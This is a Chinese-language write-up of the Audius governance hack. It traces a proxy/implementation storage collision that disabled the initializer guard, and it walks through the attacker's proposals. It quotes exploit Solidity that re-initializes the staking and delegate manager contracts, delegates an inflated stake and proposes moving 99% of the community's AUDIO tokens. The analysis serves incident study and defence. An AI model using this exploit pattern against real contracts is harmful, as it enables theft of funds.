Audius Storage冲突漏洞分析

说明

基本信息

Attacker: 0xa0959536560776ef8627da14c6e8c91e2c743a0a
Vulnerable Contract:
- 0x35dD16dFA4ea1522c29DdD087E8F076Cad0AE5E8
- 0x4DEcA517D6817B6510798b7328F2314d3003AbAC
Attack Tx：
LOSS: 704ETH

漏洞函数

在合约Initializable (0x35dd16dfa4ea1522c29ddd087e8f076cad0ae5e8)中的变量initialized和initializing都是

contract Initializable {

  /**
   * @dev Indicates that the contract has been initialized.
   */
  bool private initialized;

  /**
   * @dev Indicates that the contract is in the process of being initialized.
   */
  bool private initializing;

  /**
   * @dev Modifier to use in the initializer function of a contract.
   */
  modifier initializer() {
    require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

    bool isTopLevelCall = !initializing;
    if (isTopLevelCall) {
      initializing = true;
      initialized = true;
    }

    _;

    if (isTopLevelCall) {
      initializing = false;
    }
  }

  /// @dev Returns true if and only if the function is running in the constructor
  function isConstructor() private view returns (bool) {
    // extcodesize checks the size of the code stored in an address, and
    // address returns the current address. Since the code is still not
    // deployed when running a constructor, any checks on its code size will
    // yield zero, making it an effective way to detect if a contract is
    // under construction or not.
    address self = address(this);
    uint256 cs;
    assembly { cs := extcodesize(self) }
    return cs == 0;
  }

  // Reserved storage space to allow for layout changes in the future.
  uint256[50] private ______gap;
}

在Initializable合约中的initialized和initializing都是bool类型，由于 initialized 和 initializing 都是 bool 类型变量，因此他们各自都只占据一字节，所以说它们俩实际上是被打包放在了 slot 0 中。

通过实际的检测分析也得出的是一样的结论：

上面是在实现合约中的分析结果。

下面继续分析在代理合约0x4DEcA517D6817B6510798b7328F2314d3003AbAC中的结果。分析在代理合约中的storage layout。

发现在代理合约中slot 0的结果是proxyAdmin。

代理合约和实现合约在同一个Slot中对应的是不同的变量，这样就造成了storage collision类型的漏洞。

接下来就是看看在代理合约 0x4DEcA517D6817B6510798b7328F2314d3003AbAC 中的slot 0的结果，通过cast storage的方式查看得到如下结论：

1 2	$ cast storage 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998 0 --rpc-url=https://rpc.ankr.com/eth 0x0000000000000000000000004deca517d6817b6510798b7328f2314d3003abac

代理合约中的proxyAdmin的0x0000000000000000000000004deca517d6817b6510798b7328f2314d3003abac 如何对应到实现合约中的initialized和initializing上呢？

对应关系如下所示：

可以看到最终initialized和initializing分别映射到了0xab和0xac中，存在冲突，与预期的不一致。

initialized 和 initializing 这两个变量的值使用了 ProxyAdmin 实际值的最后两个字节！而恰好最后两个字节（0xAB, 0xAC）都是非零值，这也就造成在实际可升级合约的数据读取中，initialized 和 initializing 的值总是 true。

这个冲突具体会造成什么样的后果呢？分析initializer 这个修饰符。

modifier initializer() {
  require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

  bool isTopLevelCall = !initializing;
  if (isTopLevelCall) {
    initializing = true;
    initialized = true;
  }

  _;

  if (isTopLevelCall) {
    initializing = false;
  }
}

require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); 因为initializing为true，所以require的结果是True。
bool isTopLevelCall = !initializing;，所以isTopLevelCall 为False，那么后面的代码都不会执行。

所以initialized 和 initializing 的值总是 true，就导致了修饰符initializer返回的永远都是True，即没有任何的作用。

攻击分析

84号提案

governanceAddress

通过initialize()函数将governanceAddress设置为攻击合约的地址。

evaluateProposalOutcome

提议84号提案。

按照audius官方的说明

Governance proposal #84 was created to transfer the entirety of the Audius community pool to the attacker’s wallet (0xa62c3ced6906b188a4d4a3c981b79f2aabf2107f), but did not pass quorum, so failed during execution.
https://dashboard.audius.org/#/governance/proposal/84

没有通过法定人数，因此在执行过程中失败。

85号提案

submitProposal

uint256 audioBalance_gov = IERC20(AUDIO).balanceOf(governance);
uint256 stealAmount = audioBalance_gov * 99 / 1e2;   // Steal 99% of AUDIO Token from governance address
IGovernence(governance).submitProposal(bytes32(uint(3078)), 0, "transfer(address,uint256)", abi.encode(address(this), stealAmount), "Hello", "World");

IStaking(staking).initialize(address(this), address(this));
IDelegateManagerV2(delegatemanager).initialize(address(this), address(this), 1);
IDelegateManagerV2(delegatemanager).setServiceProviderFactoryAddress(address(this));
IDelegateManagerV2(delegatemanager).delegateStake(address(this), 1e31);